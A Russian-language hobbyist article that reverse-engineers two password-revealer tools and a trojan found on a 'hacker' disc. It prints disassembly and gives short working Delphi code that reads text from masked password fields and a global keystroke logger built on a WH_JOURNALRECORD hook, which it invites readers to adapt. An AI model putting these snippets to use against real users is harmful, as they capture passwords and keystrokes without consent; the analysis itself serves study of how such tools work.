Маленькие хитрости хакерских программ

Пару дней назад ко мне в руки попал очередной "хакерский" диск с многообещающим названием "Всё что надо хакеру/крэкеру для взлома любой системы" (круто! :)). На диске содержится много "полезного" софта для истинного компьютерного хулигана:

FrontPage 98.
Go!Zilla (хорошая кстати прога).
Полная официальная версия WinXP (объём дистрибутива 150 метров (!)).
Коллекция вирусов (это интересно :)).

Коллекция вирусов при ближайшем рассмотрении содержала в себе много прог, которые вредоносными и назвать тяжело (подборщики паролей, системы удалённого администрирования, крякер инета :) и т. д.). И среди всего этого попались мне интересные проги, а именно OpenPass, Behind The Asterisks и MadExplorer. Первые две занимаются тем, что показывают пароли находящиеся за звёздочками. Но особенность их в том, что они не используют DLL. В "хакере" была статья (ver.10.01(34)) о написании смотрелки. Суть той программы заключалась в следующем: экзешник загружаеть Dll'ку, которая в свою очередь ставит хук на мессаги и смотрит, где кликнула мышь, там убирает звездочки. Но в OpenPass и Behind The Asterisks нет DLL (поэтому они меня и заинтересовали).

Ну что ж, посмотрим что содержится в Behind The Asterisks (так как она меньше, чем OpenPass). Для этого возьмём WinDasm и декомпилируем BTA. Код программы очень прост и легко читаем. Программа создает стандартный диалог DialogBoxParamA() и работает только с ним, но не это интересно. Как же она достает текст из полей ввода без DLL? Смотрим и видим следующие строки:


:00401052 53                      push ebx  
:00401053 6A0A                    push 0000000A  
:00401055 6A04                    push 00000004  
:00401057 51                      push ecx  
  
* Reference To: USER32.SetTimer, Ord:0252h  
                                  |  
:00401058 FF1528204000            Call dword ptr [00402028]  

Это сразу бросается в глаза (так как программа очень маленькая). Что же делает таймер? А вот что:


//Получаем информацию о расположении курсора на экране.  
:0040107C 6800304000              push 00403000  
  
* Reference To: USER32.GetCursorPos, Ord:00FCh  
                                  |  
:00401081 FF1518204000            Call dword ptr [00402018]  
//Теперь получаем handle элемента, над которым находиться мышь.  
:00401087 A104304000              mov eax, dword ptr [00403004]  
:0040108C 50                      push eax  
:0040108D 8B0D00304000            mov ecx, dword ptr [00403000]  
:00401093 51                      push ecx  
  
* Reference To: USER32.WindowFromPoint, Ord:02A9h  
                                  |  
:00401094 FF1530204000            Call dword ptr [00402030]  
// Посылаем сообщение handle'у.  
:0040109A 6814304000              push 00403014  
:0040109F 6800040000              push 00000400  
:004010A4 6A0D                    push 0000000D  
:004010A6 50                      push eax  
  
* Reference To: USER32.SendMessageA, Ord:0214h  
                                  |  
:004010A7 FF152C204000            Call dword ptr [0040202C]  

Сообщение 0000000D соответствует WM_GETTEXT. То есть данный вызов копирует содержимое элемента в массив. Ну а с полученными данными можно делать всё что угодно (в том числе показать пользователю :)).
Вот исходник всего этого на Delphi [примечание]:


 ...  
var  
 ...  
 h:integer;  
 ...  
  
procedure  timer;  
var c:array[1..255] of char;  
    p:tpoint;  
    handle:hwnd;  
begin  
 GetCursorPos(p);  
 handle:=WindowFromPoint(p);  
 SendMessage(handle,WM_GETTEXT,sizeof(c),integer(@c));  
 Form1.Caption:=c;  
end;  
  
procedure TForm1.FormCreate(Sender: TObject);  
begin  
 h:=settimer(handle,0,300,@timer);  
end;  
  
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);  
begin  
 killtimer(handle,h);  
end;  

Ну вот и всё что касалось BTA. Теперь о MadExplorer'е. Это троян с кучей функций, среди которых есть клавиатурный шпион, и опять же он реализован без Dll'ки. Обычно в таких программах делают хук на WH_KEYBOARD и ловят все нажатия (о подобной реализации можно прочесть например на хакере в статье "Клавиатурный шпион своими руками" (кстати советую, автор хороший кодер)). Минусом этого шпиона можно считать наличие двух файлов и лишние телодвижения (такие как обработка DllEntryPoint). Изучив код MadExplorer'а (приводить его здесь нет смысла, так как он очень большой) я написал следующий пример:


...  
var  
...  
  h:hhook;  
...  
  
function Proc(  
  
    code:integer;  
    wParam:WPARAM;  
    lParam:LPARAM  
   ):lresult;stdcall;  
var c:array[0..255] of char;  
    nScan:integer;  
begin  
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin  
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));  
  nscan:=nscan shl 16;  
  GetKeyNameText(nScan,c,256);  
  form1.ListBox1.Items.Add(c);  
 end;  
 result:=callnexthookex(h,code,wparam,lparam);  
end;  
  
procedure TForm1.FormCreate(Sender: TObject);  
begin  
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);  
 caption:=inttostr(h);  
end;  
  
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);  
begin  
 unhookwindowshookex(h);  
end;  

Этот пример можно доработать и использовать в своих благородных целях. Вот и всё. Жду пожеланий. Если ты хочешь о чём-либо узнать и мне тоже будет интересно, я обязательно напишу.

Примечание: Под Windows 2000/XP данным способом пароль получить не удается (хотя текст других элементов диалога читается без проблем). Там надо сделать DLL'ку с хуком (SetWindowsHookEx) и в ней перехватывать мессаги (если есть нужная мессага, то смотрим пароль).
Copyright© 2003 Zero Ice
Теги:
хакерские программы
Добавлено: 21 Июля 2018 12:23:07 Добавил: Андрей Ковальчук Нравится 0
Добавить
Комментарии:
Нету комментариев для вывода...